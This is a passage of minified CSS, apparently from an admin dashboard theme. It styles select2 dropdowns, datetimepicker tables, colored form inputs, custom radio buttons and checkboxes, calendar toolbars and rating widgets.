.select2-selection--single,.select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:4px;border-bottom-right-radius:4px}.select2.select2-container .select2-selection--multiple{min-height:35px}.select2-container--default .select2-dropdown{background-color:#fff;border:none;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08)}.select2-container--default .select2-dropdown .select2-search--dropdown{padding:5px}.select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field{height:30px;border:none;background-color:#eaeaea;padding:5px 10px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.select2-container--default .select2-dropdown .select2-results .select2-results__options{padding:5px}.select2-results__option{background-color:#fff;padding:8px 15px;border-radius:4px;line-height:14px}.bootstrap-datetimepicker-widget .table thead{background-color:transparent}.bootstrap-datetimepicker-widget .table thead tr th{color:#212121;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.bootstrap-datetimepicker-widget .table tr td,.bootstrap-datetimepicker-widget .table tr th{text-align:center;width:35px;height:35px;border-radius:50%;border:none;line-height:35px;position:relative;z-index:1}.bootstrap-datetimepicker-widget .table tr td.today,.bootstrap-datetimepicker-widget .table tr td.active{color:#fff;position:relative;z-index:1;background-color:transparent;text-shadow:none}.bootstrap-datetimepicker-widget .table tr td.today:before,.bootstrap-datetimepicker-widget .table tr td.today::before,.bootstrap-datetimepicker-widget .table tr td.active:before,.bootstrap-datetimepicker-widget .table tr td.active::before{width:30px;height:30px;border-radius:50%;border:none;background-color:#4a5361;position:absolute;z-index:-1;display:block;margin:auto;content:'';top:6px;left:0px;right:0px;bottom:auto;-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1)}.bootstrap-datetimepicker-widget .table tr td.active:hover:before,.bootstrap-datetimepicker-widget .table tr td.active:hover::before{background-color:#4a5361 !important}.bootstrap-datetimepicker-widget .table tr td.today:before,.bootstrap-datetimepicker-widget .table tr td.today::before{background-color:#ef4153}.bootstrap-datetimepicker-widget .table tr td.day:hover,.bootstrap-datetimepicker-widget .table tr td.hour:hover,.bootstrap-datetimepicker-widget .table tr td.minute:hover,.bootstrap-datetimepicker-widget .table tr td.second:hover{background-color:transparent}.bootstrap-datetimepicker-widget .table tr td:before,.bootstrap-datetimepicker-widget .table tr td::before{width:30px;height:30px;border-radius:50%;border:none;background-color:transparent;position:absolute;z-index:-1;display:block;margin:auto;content:'';top:6px;left:0px;right:0px;bottom:auto;-moz-transform:scale(0);-o-transform:scale(0);-ms-transform:scale(0);-webkit-transform:scale(0);transform:scale(0);-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.bootstrap-datetimepicker-widget .table tr td:hover:before,.bootstrap-datetimepicker-widget .table tr td:hover::before{background-color:#f4f4f4;-moz-transform:scale(1);-o-transform:scale(1);-ms-transform:scale(1);-webkit-transform:scale(1);transform:scale(1)}.bootstrap-datetimepicker-widget .timepicker table td{position:relative;z-index:1;width:35px;height:35px;line-height:35px}.bootstrap-datetimepicker-widget .timepicker table td .btn{height:auto}.bootstrap-datetimepicker-widget .timepicker table td span{width:35px;height:35px;line-height:35px}.bootstrap-datetimepicker-widget.dropdown-menu{min-width:280px}.bootstrap-datetimepicker-widget.dropdown-menu.bottom:before,.bootstrap-datetimepicker-widget.dropdown-menu.bottom::before{border-bottom-color:#fff}.bootstrap-datetimepicker-widget.dropdown-menu.top:before,.bootstrap-datetimepicker-widget.dropdown-menu.top::before{border-top-color:#fff}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td{width:30px;height:30px;line-height:30px}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before{top:4px;left:0px}.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before,.bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before{top:4px;left:0px}.bootstrap-tagsinput{display:block;border:1px solid #eaeaea;min-height:35px;padding:0px 10px;padding-top:4px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.bootstrap-tagsinput .tag{padding:1px 5px;margin-right:2px;margin-bottom:4px;display:inline-block;text-transform:capitalize;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;background-color:#4c5667}.note-editor.note-frame.card{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.input-group{margin-bottom:1.25em}.form-control-primary{border-color:#007bff;color:#007bff}.form-control-primary:focus{border-color:#007bff}.input-group-primary .input-group-append .input-group-text,.input-group-primary .input-group-prepend .input-group-text{background-color:#007bff;border-color:#007bff;color:#fff}.input-group-primary .form-control{border-color:#007bff}.form-control-warning{border-color:#fb6340;color:#fb6340}.form-control-warning:focus{border-color:#fb6340}.input-group-warning .input-group-append .input-group-text,.input-group-warning .input-group-prepend .input-group-text{background-color:#fb6340;border-color:#fb6340;color:#fff}.input-group-warning .form-control{border-color:#fb6340}.form-control-default{border-color:#d6d6d6;color:#d6d6d6}.form-control-default:focus{border-color:#d6d6d6}.input-group-default .input-group-append .input-group-text,.input-group-default .input-group-prepend .input-group-text{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.input-group-default .form-control{border-color:#d6d6d6}.form-control-danger{border-color:#f5365c;color:#f5365c}.form-control-danger:focus{border-color:#f5365c}.input-group-danger .input-group-append .input-group-text,.input-group-danger .input-group-prepend .input-group-text{background-color:#f5365c;border-color:#f5365c;color:#fff}.input-group-danger .form-control{border-color:#f5365c}.form-control-success{border-color:#2dce89;color:#2dce89}.form-control-success:focus{border-color:#2dce89}.input-group-success .input-group-append .input-group-text,.input-group-success .input-group-prepend .input-group-text{background-color:#2dce89;border-color:#2dce89;color:#fff}.input-group-success .form-control{border-color:#2dce89}.form-control-inverse{border-color:#4c5667;color:#4c5667}.form-control-inverse:focus{border-color:#4c5667}.input-group-inverse .input-group-append .input-group-text,.input-group-inverse .input-group-prepend .input-group-text{background-color:#4c5667;border-color:#4c5667;color:#fff}.input-group-inverse .form-control{border-color:#4c5667}.form-control-info{border-color:#11cdef;color:#11cdef}.form-control-info:focus{border-color:#11cdef}.input-group-info .input-group-append .input-group-text,.input-group-info .input-group-prepend .input-group-text{background-color:#11cdef;border-color:#11cdef;color:#fff}.input-group-info .form-control{border-color:#11cdef}.form-txt-primary{color:#007bff}.form-txt-primary:focus{color:#007bff}.form-txt-primary::-moz-placeholder{color:#007bff;opacity:1}.form-txt-primary:-ms-input-placeholder{color:#007bff}.form-txt-primary::-webkit-input-placeholder{color:#007bff}.form-txt-warning{color:#fb6340}.form-txt-warning:focus{color:#fb6340}.form-txt-warning::-moz-placeholder{color:#fb6340;opacity:1}.form-txt-warning:-ms-input-placeholder{color:#fb6340}.form-txt-warning::-webkit-input-placeholder{color:#fb6340}.form-txt-default{color:#d6d6d6}.form-txt-default:focus{color:#d6d6d6}.form-txt-default::-moz-placeholder{color:#d6d6d6;opacity:1}.form-txt-default:-ms-input-placeholder{color:#d6d6d6}.form-txt-default::-webkit-input-placeholder{color:#d6d6d6}.form-txt-danger{color:#f5365c}.form-txt-danger:focus{color:#f5365c}.form-txt-danger::-moz-placeholder{color:#f5365c;opacity:1}.form-txt-danger:-ms-input-placeholder{color:#f5365c}.form-txt-danger::-webkit-input-placeholder{color:#f5365c}.form-txt-success{color:#2dce89}.form-txt-success:focus{color:#2dce89}.form-txt-success::-moz-placeholder{color:#2dce89;opacity:1}.form-txt-success:-ms-input-placeholder{color:#2dce89}.form-txt-success::-webkit-input-placeholder{color:#2dce89}.form-txt-inverse{color:#4c5667}.form-txt-inverse:focus{color:#4c5667}.form-txt-inverse::-moz-placeholder{color:#4c5667;opacity:1}.form-txt-inverse:-ms-input-placeholder{color:#4c5667}.form-txt-inverse::-webkit-input-placeholder{color:#4c5667}.form-txt-info{color:#11cdef}.form-txt-info:focus{color:#11cdef}.form-txt-info::-moz-placeholder{color:#11cdef;opacity:1}.form-txt-info:-ms-input-placeholder{color:#11cdef}.form-txt-info::-webkit-input-placeholder{color:#11cdef}.form-bg-primary{background-color:#007bff;border-color:#007bff;color:#fff}.form-bg-primary:focus{background-color:#007bff;border-color:#007bff;color:#fff}.form-bg-primary::-moz-placeholder{color:#fff;opacity:1}.form-bg-primary:-ms-input-placeholder{color:#fff}.form-bg-primary::-webkit-input-placeholder{color:#fff}.form-bg-warning{background-color:#fb6340;border-color:#fb6340;color:#fff}.form-bg-warning:focus{background-color:#fb6340;border-color:#fb6340;color:#fff}.form-bg-warning::-moz-placeholder{color:#fff;opacity:1}.form-bg-warning:-ms-input-placeholder{color:#fff}.form-bg-warning::-webkit-input-placeholder{color:#fff}.form-bg-default{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.form-bg-default:focus{background-color:#d6d6d6;border-color:#d6d6d6;color:#fff}.form-bg-default::-moz-placeholder{color:#fff;opacity:1}.form-bg-default:-ms-input-placeholder{color:#fff}.form-bg-default::-webkit-input-placeholder{color:#fff}.form-bg-danger{background-color:#f5365c;border-color:#f5365c;color:#fff}.form-bg-danger:focus{background-color:#f5365c;border-color:#f5365c;color:#fff}.form-bg-danger::-moz-placeholder{color:#fff;opacity:1}.form-bg-danger:-ms-input-placeholder{color:#fff}.form-bg-danger::-webkit-input-placeholder{color:#fff}.form-bg-success{background-color:#2dce89;border-color:#2dce89;color:#fff}.form-bg-success:focus{background-color:#2dce89;border-color:#2dce89;color:#fff}.form-bg-success::-moz-placeholder{color:#fff;opacity:1}.form-bg-success:-ms-input-placeholder{color:#fff}.form-bg-success::-webkit-input-placeholder{color:#fff}.form-bg-inverse{background-color:#4c5667;border-color:#4c5667;color:#fff}.form-bg-inverse:focus{background-color:#4c5667;border-color:#4c5667;color:#fff}.form-bg-inverse::-moz-placeholder{color:#fff;opacity:1}.form-bg-inverse:-ms-input-placeholder{color:#fff}.form-bg-inverse::-webkit-input-placeholder{color:#fff}.form-bg-info{background-color:#11cdef;border-color:#11cdef;color:#fff}.form-bg-info:focus{background-color:#11cdef;border-color:#11cdef;color:#fff}.form-bg-info::-moz-placeholder{color:#fff;opacity:1}.form-bg-info:-ms-input-placeholder{color:#fff}.form-bg-info::-webkit-input-placeholder{color:#fff}.form-radio{position:relative}.form-radio .form-help{position:absolute;width:100%}.form-radio label{position:relative;padding-left:1.5rem;text-align:left;color:#333;display:block;line-height:1.8}.form-radio input{width:auto;opacity:0.00000001;position:absolute;left:0}.radio .helper{position:absolute;top:-0.25rem;left:-0.25rem;cursor:pointer;display:block;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;color:#999}.radio .helper::after{transform:scale(0);background-color:#007bff;border-color:#007bff}.radio .helper::after,.radio .helper::before{content:'';position:absolute;left:0;top:3px;margin:0.25rem;width:1rem;height:1rem;-webkit-transition:-webkit-transform 0.28s ease;transition:-webkit-transform 0.28s ease;transition:transform 0.28s ease, -webkit-transform 0.28s ease;border-radius:50%;border:0.125rem solid #007bff}.radio label:hover .helper{color:#007bff}.radio input:checked ~ .helper::after{transform:scale(0.5)}.radio input:checked ~ .helper::before{color:#007bff;animation:ripple 0.3s linear forwards}.radio.radiofill input:checked ~ .helper::after{transform:scale(1)}.radio.radiofill .helper::after{background-color:#007bff}.radio.radio-outline input:checked ~ .helper::after{transform:scale(0.6)}.radio.radio-outline .helper::after{background-color:#fff;border:0.225rem solid #007bff}.radio.radio-matrial input ~ .helper::after{background-color:#fff}.radio.radio-matrial input:checked ~ .helper::after{transform:scale(0.5);box-shadow:0 1px 7px -1px rgba(0,0,0,0.72)}.radio.radio-matrial input:checked ~ .helper::before{background-color:#007bff}.radio.radio-disable{opacity:0.7}.radio.radio-disable label{cursor:not-allowed}.radio-inline{display:inline-block;margin-right:20px}.radio.radio-primary .helper::after{background-color:#007bff;border-color:#007bff}.radio.radio-primary .helper::before{border-color:#007bff}.radio.radio-outline.radio-primary .helper::after{background-color:#fff;border:0.225rem solid #007bff}.radio.radio-outline.radio-primary .helper::before{border-color:#007bff}.radio.radio-matrial.radio-primary input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-primary input ~ .helper::before{background-color:#007bff;border-color:#007bff}.radio.radio-warning .helper::after{background-color:#fb6340;border-color:#fb6340}.radio.radio-warning .helper::before{border-color:#fb6340}.radio.radio-outline.radio-warning .helper::after{background-color:#fff;border:0.225rem solid #fb6340}.radio.radio-outline.radio-warning .helper::before{border-color:#fb6340}.radio.radio-matrial.radio-warning input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-warning input ~ .helper::before{background-color:#fb6340;border-color:#fb6340}.radio.radio-default .helper::after{background-color:#d6d6d6;border-color:#d6d6d6}.radio.radio-default .helper::before{border-color:#d6d6d6}.radio.radio-outline.radio-default .helper::after{background-color:#fff;border:0.225rem solid #d6d6d6}.radio.radio-outline.radio-default .helper::before{border-color:#d6d6d6}.radio.radio-matrial.radio-default input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-default input ~ .helper::before{background-color:#d6d6d6;border-color:#d6d6d6}.radio.radio-danger .helper::after{background-color:#f5365c;border-color:#f5365c}.radio.radio-danger .helper::before{border-color:#f5365c}.radio.radio-outline.radio-danger .helper::after{background-color:#fff;border:0.225rem solid #f5365c}.radio.radio-outline.radio-danger .helper::before{border-color:#f5365c}.radio.radio-matrial.radio-danger input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-danger input ~ .helper::before{background-color:#f5365c;border-color:#f5365c}.radio.radio-success .helper::after{background-color:#2dce89;border-color:#2dce89}.radio.radio-success .helper::before{border-color:#2dce89}.radio.radio-outline.radio-success .helper::after{background-color:#fff;border:0.225rem solid #2dce89}.radio.radio-outline.radio-success .helper::before{border-color:#2dce89}.radio.radio-matrial.radio-success input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-success input ~ .helper::before{background-color:#2dce89;border-color:#2dce89}.radio.radio-inverse .helper::after{background-color:#4c5667;border-color:#4c5667}.radio.radio-inverse .helper::before{border-color:#4c5667}.radio.radio-outline.radio-inverse .helper::after{background-color:#fff;border:0.225rem solid #4c5667}.radio.radio-outline.radio-inverse .helper::before{border-color:#4c5667}.radio.radio-matrial.radio-inverse input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-inverse input ~ .helper::before{background-color:#4c5667;border-color:#4c5667}.radio.radio-info .helper::after{background-color:#11cdef;border-color:#11cdef}.radio.radio-info .helper::before{border-color:#11cdef}.radio.radio-outline.radio-info .helper::after{background-color:#fff;border:0.225rem solid #11cdef}.radio.radio-outline.radio-info .helper::before{border-color:#11cdef}.radio.radio-matrial.radio-info input ~ .helper::after{background-color:#fff;border-color:#fff}.radio.radio-matrial.radio-info input ~ .helper::before{background-color:#11cdef;border-color:#11cdef}@keyframes ripple{0%{box-shadow:0 0 0 1px transparent}50%{box-shadow:0 0 0 10px rgba(0,0,0,0.05)}100%{box-shadow:0 0 0 10px transparent}}.border-checkbox-section .border-checkbox-group{display:inline-block}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:before{animation:ripple 0.3s linear forwards}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:after{-webkit-animation:check linear 0.5s;animation:check linear 0.5s;opacity:1;border-color:#007bff}.border-checkbox-section .border-checkbox-group .border-checkbox:checked+.border-checkbox-label:after .border-checkbox-label:before{border-color:#eee}.border-checkbox-section .border-checkbox-group .border-checkbox-label{position:relative;display:inline-block;cursor:pointer;height:20px;line-height:20px;padding-left:30px;margin-right:15px}.border-checkbox-section .border-checkbox-group .border-checkbox-label:after{content:"";display:block;width:6px;height:12px;opacity:0.9;border-right:2px solid #eee;border-top:2px solid #eee;position:absolute;left:4px;top:11px;-webkit-transform:scaleX(-1) rotate(135deg);transform:scaleX(-1) rotate(135deg);-webkit-transform-origin:left top;transform-origin:left top}.border-checkbox-section .border-checkbox-group .border-checkbox-label:before{content:"";display:block;border:2px solid #007bff;width:20px;height:20px;position:absolute;left:0}.border-checkbox-section .border-checkbox{display:none}.border-checkbox-section .border-checkbox:disabled ~ .border-checkbox-label{cursor:no-drop;color:#ccc}@-webkit-keyframes check{0%{height:0;width:0}25%{height:0;width:6px}50%{height:12px;width:6px}}@keyframes check{0%{height:0;width:0}25%{height:0;width:6px}50%{height:12px;width:6px}}.border-checkbox-section .border-checkbox-group-primary .border-checkbox-label:before{border:2px solid #007bff}.border-checkbox-section .border-checkbox-group-primary .border-checkbox:checked+.border-checkbox-label:after{border-color:#007bff}.border-checkbox-section .border-checkbox-group-warning .border-checkbox-label:before{border:2px solid #fb6340}.border-checkbox-section .border-checkbox-group-warning .border-checkbox:checked+.border-checkbox-label:after{border-color:#fb6340}.border-checkbox-section .border-checkbox-group-default .border-checkbox-label:before{border:2px solid #d6d6d6}.border-checkbox-section .border-checkbox-group-default .border-checkbox:checked+.border-checkbox-label:after{border-color:#d6d6d6}.border-checkbox-section .border-checkbox-group-danger .border-checkbox-label:before{border:2px solid #f5365c}.border-checkbox-section .border-checkbox-group-danger .border-checkbox:checked+.border-checkbox-label:after{border-color:#f5365c}.border-checkbox-section .border-checkbox-group-success .border-checkbox-label:before{border:2px solid #2dce89}.border-checkbox-section .border-checkbox-group-success .border-checkbox:checked+.border-checkbox-label:after{border-color:#2dce89}.border-checkbox-section .border-checkbox-group-inverse .border-checkbox-label:before{border:2px solid #4c5667}.border-checkbox-section .border-checkbox-group-inverse .border-checkbox:checked+.border-checkbox-label:after{border-color:#4c5667}.border-checkbox-section .border-checkbox-group-info .border-checkbox-label:before{border:2px solid #11cdef}.border-checkbox-section .border-checkbox-group-info .border-checkbox:checked+.border-checkbox-label:after{border-color:#11cdef}.checkbox-fade,.checkbox-zoom{display:inline-block;margin-right:15px}.checkbox-fade label,.checkbox-zoom label{line-height:20px}.checkbox-fade label input[type="checkbox"],.checkbox-fade label input[type="radio"],.checkbox-zoom label input[type="checkbox"],.checkbox-zoom label input[type="radio"]{display:none}.checkbox-fade label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-fade label input[type="radio"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]:checked+.cr>.cr-icon{transform:scale(1) rotateZ(0deg);opacity:1}.checkbox-fade label input[type="checkbox"]+.cr>.cr-icon,.checkbox-fade label input[type="radio"]+.cr>.cr-icon,.checkbox-zoom label input[type="checkbox"]+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]+.cr>.cr-icon{transform:scale(3) rotateZ(-20deg);opacity:0;transition:all 0.3s ease-in}.checkbox-fade label:after,.checkbox-zoom label:after{content:'';display:table;clear:both}.checkbox-fade.fade-in-disable .cr,.checkbox-fade.fade-in-disable label,.checkbox-zoom.fade-in-disable .cr,.checkbox-zoom.fade-in-disable label{color:#ccc;cursor:no-drop}.checkbox-fade .cr,.checkbox-zoom .cr{border-radius:0;border:2px solid #007bff;cursor:pointer;display:inline-block;float:left;height:20px;margin-right:1rem;position:relative;width:20px}.checkbox-fade .cr .cr-icon,.checkbox-zoom .cr .cr-icon{color:#007bff;font-size:1em;left:0;line-height:0;position:absolute;right:0;text-align:center;top:50%}.checkbox-fade input[type="checkbox"]:checked+.cr,.checkbox-zoom input[type="checkbox"]:checked+.cr{animation:ripple 0.3s linear forwards}.checkbox-fade label{line-height:20px}.checkbox-fade label input[type="checkbox"],.checkbox-fade label input[type="radio"]{display:none}.checkbox-fade label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-fade label input[type="radio"]:checked+.cr>.cr-icon{transform:scale(1) rotateZ(0deg);opacity:1}.checkbox-fade label input[type="checkbox"]+.cr>.cr-icon,.checkbox-fade label input[type="radio"]+.cr>.cr-icon{transform:scale(3) rotateZ(-20deg);opacity:0;transition:all 0.3s ease-in}.checkbox-zoom label{line-height:20px}.checkbox-zoom label input[type="checkbox"],.checkbox-zoom label input[type="radio"]{display:none}.checkbox-zoom label input[type="checkbox"]:checked+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]:checked+.cr>.cr-icon{transform:scale3d(1, 1, 1) translate3d(0, 0, 0);opacity:1}.checkbox-zoom label input[type="checkbox"]+.cr>.cr-icon,.checkbox-zoom label input[type="radio"]+.cr>.cr-icon{transform:scale3d(0.2, 0.2, 0.1) translate3d(0, 0, 0);opacity:0;transition:all 0.3s ease-in}.checkbox-fade.fade-in-primary .cr,.checkbox-fade.zoom-primary .cr,.checkbox-zoom.fade-in-primary .cr,.checkbox-zoom.zoom-primary .cr{border:2px solid #007bff}.checkbox-fade.fade-in-primary .cr .cr-icon,.checkbox-fade.zoom-primary .cr .cr-icon,.checkbox-zoom.fade-in-primary .cr .cr-icon,.checkbox-zoom.zoom-primary .cr .cr-icon{color:#007bff}.checkbox-fade.fade-in-warning .cr,.checkbox-fade.zoom-warning .cr,.checkbox-zoom.fade-in-warning .cr,.checkbox-zoom.zoom-warning .cr{border:2px solid #fb6340}.checkbox-fade.fade-in-warning .cr .cr-icon,.checkbox-fade.zoom-warning .cr .cr-icon,.checkbox-zoom.fade-in-warning .cr .cr-icon,.checkbox-zoom.zoom-warning .cr .cr-icon{color:#fb6340}.checkbox-fade.fade-in-default .cr,.checkbox-fade.zoom-default .cr,.checkbox-zoom.fade-in-default .cr,.checkbox-zoom.zoom-default .cr{border:2px solid #d6d6d6}.checkbox-fade.fade-in-default .cr .cr-icon,.checkbox-fade.zoom-default .cr .cr-icon,.checkbox-zoom.fade-in-default .cr .cr-icon,.checkbox-zoom.zoom-default .cr .cr-icon{color:#d6d6d6}.checkbox-fade.fade-in-danger .cr,.checkbox-fade.zoom-danger .cr,.checkbox-zoom.fade-in-danger .cr,.checkbox-zoom.zoom-danger .cr{border:2px solid #f5365c}.checkbox-fade.fade-in-danger .cr .cr-icon,.checkbox-fade.zoom-danger .cr .cr-icon,.checkbox-zoom.fade-in-danger .cr .cr-icon,.checkbox-zoom.zoom-danger .cr .cr-icon{color:#f5365c}.checkbox-fade.fade-in-success .cr,.checkbox-fade.zoom-success .cr,.checkbox-zoom.fade-in-success .cr,.checkbox-zoom.zoom-success .cr{border:2px solid #2dce89}.checkbox-fade.fade-in-success .cr .cr-icon,.checkbox-fade.zoom-success .cr .cr-icon,.checkbox-zoom.fade-in-success .cr .cr-icon,.checkbox-zoom.zoom-success .cr .cr-icon{color:#2dce89}.checkbox-fade.fade-in-inverse .cr,.checkbox-fade.zoom-inverse .cr,.checkbox-zoom.fade-in-inverse .cr,.checkbox-zoom.zoom-inverse .cr{border:2px solid #4c5667}.checkbox-fade.fade-in-inverse .cr .cr-icon,.checkbox-fade.zoom-inverse .cr .cr-icon,.checkbox-zoom.fade-in-inverse .cr .cr-icon,.checkbox-zoom.zoom-inverse .cr .cr-icon{color:#4c5667}.checkbox-fade.fade-in-info .cr,.checkbox-fade.zoom-info .cr,.checkbox-zoom.fade-in-info .cr,.checkbox-zoom.zoom-info .cr{border:2px solid #11cdef}.checkbox-fade.fade-in-info .cr .cr-icon,.checkbox-fade.zoom-info .cr .cr-icon,.checkbox-zoom.fade-in-info .cr .cr-icon,.checkbox-zoom.zoom-info .cr .cr-icon{color:#11cdef}.checkbox-color{display:inline-block;margin-right:20px;cursor:pointer}.checkbox-color label{display:inline-block;position:relative;padding-left:10px;line-height:20px}.checkbox-color label::before{content:"";display:inline-block;position:absolute;top:0;width:20px;height:20px;left:0;right:0;text-align:center;margin-left:-20px;border:1px solid #ccc;border-radius:0;background-color:#fff;transition:border 0.15s ease-in-out, color 0.15s ease-in-out}.checkbox-color label::after{display:inline-block;position:absolute;width:16px;height:16px;left:-1px;top:0;margin-left:-17px;padding-left:3px;padding-top:1px;font-size:11px;color:#fff}.checkbox-color input[type="checkbox"]{opacity:0}.checkbox-color input[type="checkbox"]:focus+label::before{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.checkbox-color input[type="checkbox"]:checked+label::after{font-family:'FontAwesome';content:"\f00c"}.checkbox-color input[type="checkbox"]:checked+label::before{animation:ripple 0.3s linear forwards}.checkbox-color input[type="checkbox"]:disabled+label{opacity:0.65}.checkbox-color input[type="checkbox"]:disabled+label::before{background-color:#eee;cursor:not-allowed}.checkbox-color.checkbox-circle label::before{border-radius:50%}.checkbox-color.checkbox-inline{margin-top:0}.checkbox-danger input[type="checkbox"]:checked+label::after,.checkbox-info input[type="checkbox"]:checked+label::after,.checkbox-primary input[type="checkbox"]:checked+label::after,.checkbox-success input[type="checkbox"]:checked+label::after,.checkbox-warning input[type="checkbox"]:checked+label::after{color:#fff}.checkbox-primary input[type="checkbox"]:checked+label::before{background-color:#2196f3;border-color:#2196f3}.checkbox-primary input[type="checkbox"]:checked+label::before{background-color:#007bff}.checkbox-warning input[type="checkbox"]:checked+label::before{background-color:#fb6340}.checkbox-default input[type="checkbox"]:checked+label::before{background-color:#d6d6d6}.checkbox-danger input[type="checkbox"]:checked+label::before{background-color:#f5365c}.checkbox-success input[type="checkbox"]:checked+label::before{background-color:#2dce89}.checkbox-inverse input[type="checkbox"]:checked+label::before{background-color:#4c5667}.checkbox-info input[type="checkbox"]:checked+label::before{background-color:#11cdef}.slider-nav .left-arrow,.slider-nav .right-arrow{font-size:20px;color:#145388;display:inline-block;vertical-align:middle;margin:0 15px}.slider-nav .slider-dot-container{display:inline-block}.slider-nav .slider-dot-container .owl-dot{width:6px;height:6px;border-radius:10px;color:#00a7e2;background:#7cb9ec;outline:initial !important;border:initial;margin:0 5px;padding:0}.slider-nav .slider-dot-container .owl-dot.active{background:#145388}.fc .fc-toolbar .fc-button{background:#4a5361;color:#fff;padding:5px 10px;height:auto;border:none;text-transform:capitalize;text-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.fc .fc-toolbar .fc-button .fc-icon{margin:0;top:0}.fc .fc-toolbar .fc-button .fc-icon:after,.fc .fc-toolbar .fc-button .fc-icon::after{font-family:"iconkit";font-size:16px}.fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after,.fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after{content:"\e843"}.fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after,.fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after{content:"\e844"}.fc .fc-toolbar .fc-button.fc-state-active,.fc .fc-toolbar .fc-button.fc-state-down{background:#272d36 !important}.fc .fc-toolbar h2{font-size:22px;font-weight:600}.fc .fc-view-container .fc-view table thead tr td.fc-widget-header,.fc .fc-view-container .fc-view table thead tr th.fc-widget-header{color:#4a5361;background:#f3f4f4;border-color:#f3f4f4;padding:10px 0px}.fc .fc-view-container .fc-view .fc-day-number{float:left;padding:10px 0 5px 10px}.fc .fc-view-container .fc-view .fc-other-month{background:#f3f9ff}.fc .fc-view-container .fc-view .fc-event-container .fc-event{display:block;padding:3px 5px;color:#fff;font-weight:600;font-size:12px;border:none}.fc-unthemed .fc-content,.fc-unthemed .fc-divider,.fc-unthemed .fc-list-heading,.fc-unthemed .fc-list-view,.fc-unthemed .fc-popover,.fc-unthemed .fc-row,.fc-unthemed tbody,.fc-unthemed td,.fc-unthemed thead{border-color:#f3f4f4}.color-selector{padding:0;margin:0;list-style:none}.color-selector li{position:relative;display:inline-block;width:25px;height:25px;margin:0 8px 8px 0;background-color:#3e8ef7;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.color-selector li input[type=radio]{position:absolute;top:0;left:0;z-index:1;width:inherit;height:inherit;cursor:pointer;border-radius:inherit;opacity:0}.color-selector li input[type=radio]:checked+label:after,.color-selector li input[type=radio]:checked+label::after{position:absolute;top:0px;left:5px;display:inline-block;margin-top:-3px;font-size:16px;line-height:1;content:"\e83f";color:#fff}.color-selector li label{position:relative;margin-bottom:.4rem;font-family:"iconkit";font-style:normal;font-weight:400;font-variant:normal;text-transform:none}.color-selector li:last-child{margin-right:0}.alert{border:none}.alert .close{font-size:18px;padding:12px 15px}.jq-icon-info{background-color:#11cdef;color:#fff;border:none}.jq-icon-warning{background-color:#fb6340;color:#fff}.jq-icon-error{background-color:#f5365c;color:#fff}.jq-icon-success{color:#fff;background-color:#2dce89}.jq-toast-single,.jq-toast-single h2{font-family:'Nunito Sans', sans-serif}.br-wrapper{margin:20px 0 50px}.br-theme-bars-1to10 .br-widget .br-current-rating{clear:both;padding:0;font-size:13px;color:#757575;font-weight:400}.br-theme-bars-reversed .br-widget .br-current-rating{clear:both;padding:0;line-height:2;font-size:13px}.br-theme-bars-movie .br-widget .br-current-rating{color:#757575;font-weight:400;text-align:left}.br-theme-bars-horizontal .br-widget .br-current-rating,.br-theme-bars-reversed .br-widget .br-current-rating{color:#757575;font-weight:400;font-size:13px}span.value{display:inline}.current-rating{position:relative;top:-50px}.current-rating.hidden{display:none}.your-rating{position:relative;top:-50px}.your-rating.hidden{display:none}.br-theme-bars-1to10 .br-widget a,.br-theme-bars-movie .br-widget a,.br-theme-bars-reversed .br-widget a,.br-theme-bars-horizontal .br-widget a{background-color:#66b0ff}.br-theme-bars-1to10 .br-widget a.br-active,.br-theme-bars-1to10 .br-widget a.br-selected,.br-theme-bars-movie .br-widget 